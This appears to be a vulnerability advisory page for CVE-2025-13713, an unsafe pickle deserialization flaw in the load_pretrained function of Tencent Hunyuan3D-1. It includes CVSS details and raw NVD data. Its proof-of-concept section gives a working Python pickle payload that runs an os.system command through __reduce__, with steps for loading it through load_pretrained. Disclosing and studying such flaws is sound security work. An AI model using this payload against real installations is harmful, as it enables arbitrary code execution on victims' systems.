Security Vulnerability Report
中文
CVE-2025-13713 CVSS 7.8 HIGH

CVE-2025-13713

Published: 2025-12-23 22:15:46
Last Modified: 2026-04-15 00:35:42

Description

Tencent Hunyuan3D-1 load_pretrained Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent Hunyuan3D-1. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the load_pretrained function. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27191.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Tencent Hunyuan3D-1 < 修复版本
Hunyuan3D-1 1.0.0及之前版本可能受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import base64 import os # PoC for CVE-2025-13713: Hunyuan3D-1 load_pretrained RCE # This demonstrates the insecure deserialization vulnerability class MaliciousPayload: def __reduce__(self): # This command will be executed with root privileges cmd = "touch /tmp/pwned_by_cve_2025_13713" return (os.system, (cmd,)) # Generate malicious serialized data malicious_data = pickle.dumps(MaliciousPayload()) malicious_b64 = base64.b64encode(malicious_data).decode() # To exploit: # 1. Save the malicious data to a file # 2. Call load_pretrained with the path to this file # 3. The code in __reduce__ will be executed print(f"Malicious payload (base64): {malicious_b64}") print("\nUsage:") print(f"1. Save this payload to a file") print(f"2. Call load_pretrained('path_to_malicious_file')") print(f"3. The command in __reduce__ will be executed") # Verification - deserialize and execute print("\nDeserializing payload...") pickle.loads(malicious_data) print("Payload executed - check /tmp/pwned_by_cve_2025_13713")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13713", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:46.080", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tencent Hunyuan3D-1 load_pretrained Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Tencent Hunyuan3D-1. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the load_pretrained function. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27191."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/Tencent-Hunyuan/Hunyuan3D-1/commit/454284503670312d4e06f6251c9be2f9f6d0fae7", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1027/", "source": "[email protected]"}]}}